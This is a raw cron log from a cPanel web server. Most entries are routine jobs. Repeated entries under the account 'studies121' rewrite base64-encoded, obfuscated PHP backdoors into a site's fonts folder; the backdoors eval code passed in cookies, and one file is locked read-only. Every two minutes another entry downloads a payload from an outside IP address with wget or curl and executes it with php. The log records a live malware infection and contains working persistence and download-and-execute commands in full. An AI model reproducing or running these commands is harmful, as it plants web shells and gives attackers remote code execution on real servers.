Sep  9 12:14:02 ip-184-168-122-23 CROND[14072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14290]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14293]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 12:15:01 ip-184-168-122-23 CROND[14297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:16:01 ip-184-168-122-23 CROND[14515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:16:01 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:16:01 ip-184-168-122-23 CROND[14517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:16:01 ip-184-168-122-23 CROND[14521]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:16:01 ip-184-168-122-23 CROND[14519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:16:01 ip-184-168-122-23 CROND[14518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:17:01 ip-184-168-122-23 CROND[14856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:17:01 ip-184-168-122-23 CROND[14855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:17:01 ip-184-168-122-23 CROND[14860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:17:01 ip-184-168-122-23 CROND[14862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:18:01 ip-184-168-122-23 CROND[15013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:18:01 ip-184-168-122-23 CROND[15015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:18:01 ip-184-168-122-23 CROND[15016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:18:01 ip-184-168-122-23 CROND[15018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:18:01 ip-184-168-122-23 CROND[15019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:19:01 ip-184-168-122-23 CROND[15190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:19:01 ip-184-168-122-23 CROND[15192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:19:01 ip-184-168-122-23 CROND[15194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:19:01 ip-184-168-122-23 CROND[15193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:20:01 ip-184-168-122-23 CROND[15465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:20:01 ip-184-168-122-23 CROND[15467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:20:01 ip-184-168-122-23 CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:20:01 ip-184-168-122-23 CROND[15481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:21:01 ip-184-168-122-23 CROND[15644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:21:01 ip-184-168-122-23 CROND[15646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:21:01 ip-184-168-122-23 CROND[15647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:21:01 ip-184-168-122-23 CROND[15650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:22:01 ip-184-168-122-23 CROND[15810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:22:01 ip-184-168-122-23 CROND[15809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:22:01 ip-184-168-122-23 CROND[15811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:22:01 ip-184-168-122-23 CROND[15813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:22:01 ip-184-168-122-23 CROND[15812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:23:01 ip-184-168-122-23 CROND[16121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:23:01 ip-184-168-122-23 CROND[16123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:23:01 ip-184-168-122-23 CROND[16124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:23:01 ip-184-168-122-23 CROND[16122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:24:01 ip-184-168-122-23 CROND[16339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:24:01 ip-184-168-122-23 CROND[16341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:24:01 ip-184-168-122-23 CROND[16344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:24:01 ip-184-168-122-23 CROND[16345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:24:01 ip-184-168-122-23 CROND[16343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16591]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 12:25:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:25:01 ip-184-168-122-23 CROND[16592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:26:01 ip-184-168-122-23 CROND[16715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:26:01 ip-184-168-122-23 CROND[16719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
